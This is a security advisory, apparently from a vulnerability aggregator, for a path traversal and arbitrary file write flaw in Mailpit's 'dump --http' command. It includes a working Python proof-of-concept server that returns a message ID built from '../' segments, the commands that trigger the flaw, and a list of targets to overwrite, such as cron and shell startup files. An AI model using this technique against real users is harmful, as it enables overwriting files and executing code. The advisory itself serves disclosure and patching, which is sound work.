Mailpit: Path traversal & arbitrary file write in mailpit dump --http via attacker-controlled message IDsGHSA-qx5x-85p8-vg4j
MEDIUMGHSA-qx5x-85p8-vg4j is a medium-severity (CVSS 5.9) Path Traversal vulnerability in github.com/axllent/mailpit. A fix is available for github.com/axllent/mailpit — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-qx5x-85p8-vg4j.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
github.com/axllent/mailpitReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The mailpit dump --http <base-url> <out-dir> sub-command downloads every message from a remote Mailpit instance and writes each one as <id>.eml inside the user-supplied output directory. The message ID field is taken verbatim from the JSON response of the remote server and concatenated into the output path with path.Join, which silently normalizes .. segments. A malicious HTTP server impersonating Mailpit can therefore make mailpit dump write attacker-controlled bytes to any path the running user can write, fully outside the intended output directory.
Details
Anyone who can convince a user to run mailpit dump --http <attacker-url> <dir> (typosquat, phishing tutorial, MITM of a plain-http:// Mailpit, or a compromised internal Mailpit they back up regularly) obtains an arbitrary file write primitive as the dumping user. Realistic post-exploitation includes overwriting init/cron files, shell startup files, CI artifact upload targets, web roots, etc. — anything the dumping user can write to, with attacker-controlled file bytes and a .eml filename suffix.
Affected code
path.Join("/safe/out/dir", "../../../../etc/cron.d/payload.eml") resolves to /etc/cron.d/payload.eml — the .. segments are normalized, not rejected. The remote server controls both m.ID (path) and the body of /api/v1/message/<id>/raw (contents). There is no filepath.Rel(outDir, out) containment check, no allow-list on m.ID characters, and no body-size cap.
The underlying cause is that the command was added to back up a trusted Mailpit, but the trust model on the wire never gets validated — the operator only supplies a URL.
PoC
- Run a malicious "Mailpit" server that returns one message whose ID contains .. segments:
# evil-mailpit.py
import http.server, json
class Evil(http.server.BaseHTTPRequestHandler):
def do_GET(self):
if "/api/v1/messages" in self.path:
resp = {
"total": 1, "unread": 0, "count": 1,
"messages_count": 1, "messages_unread": 0,
"start": 0, "tags": [],
"messages": [{
"ID": "../../../../tmp/mailpit-pwn", # ← traversal
"MessageID": "x", "Read": False,
"From": {"Name": "", "Address": "a@b"},
"To": [{"Name": "", "Address": "c@d"}],
"Cc": None, "Bcc": None, "ReplyTo": [],
"Subject": "evil",
"Created": "2026-01-01T00:00:00Z",
"Tags": [], "Size": 5,
"Attachments": 0, "Snippet": ""
}]
}
body = json.dumps(resp).encode()
ctype = "application/json"
elif "/raw" in self.path:
body = b"PWNED BY MAILPIT DUMP TRAVERSAL\n"
ctype = "text/plain"
else:
self.send_response(404); self.end_headers(); return
self.send_response(200)
self.send_header("Content-Type", ctype)
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
http.server.HTTPServer(("127.0.0.1", 19090), Evil).serve_forever()
$ python3 evil-mailpit.py &
$ mkdir -p /tmp/dump-out
$ mailpit dump --http http://127.0.0.1:19090/ /tmp/dump-out
- Observe the file was written outside the requested output directory:
$ ls -la /tmp/dump-out/ /tmp/mailpit-pwn.eml
/tmp/dump-out/ ← empty
total 0
-rw-r--r-- 1 user user 31 May 11 16:16 /tmp/mailpit-pwn.eml
$ cat /tmp/mailpit-pwn.eml
PWNED BY MAILPIT DUMP TRAVERSAL
The same primitive trivially targets ~/.config/autostart/*.eml, ~/.bash_logout.eml (where it overwrites if symlinked), CI artifact dirs that ingest every file, or via long ../ chains any absolute path the user can write to.
Impact
Arbitrary file write via path traversal in mailpit dump --http, allowing a malicious Mailpit-compatible server to force writes outside the intended output directory. This can lead to overwriting sensitive files (e.g. cron jobs, CI artifacts, shell configs) and potential code execution depending on write location and privileges.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/axllent/mailpit | all versions | 1.30.0go get github.com/axllent/mailpit@v1.30.0 |
Affected Products
mailpitaxllentDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/axllent/mailpit, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/axllent/mailpit to 1.30.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-qx5x-85p8-vg4j is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Frequently Asked Questions
Is GHSA-qx5x-85p8-vg4j in your dependencies?
Find it across Go, including transitive dependencies.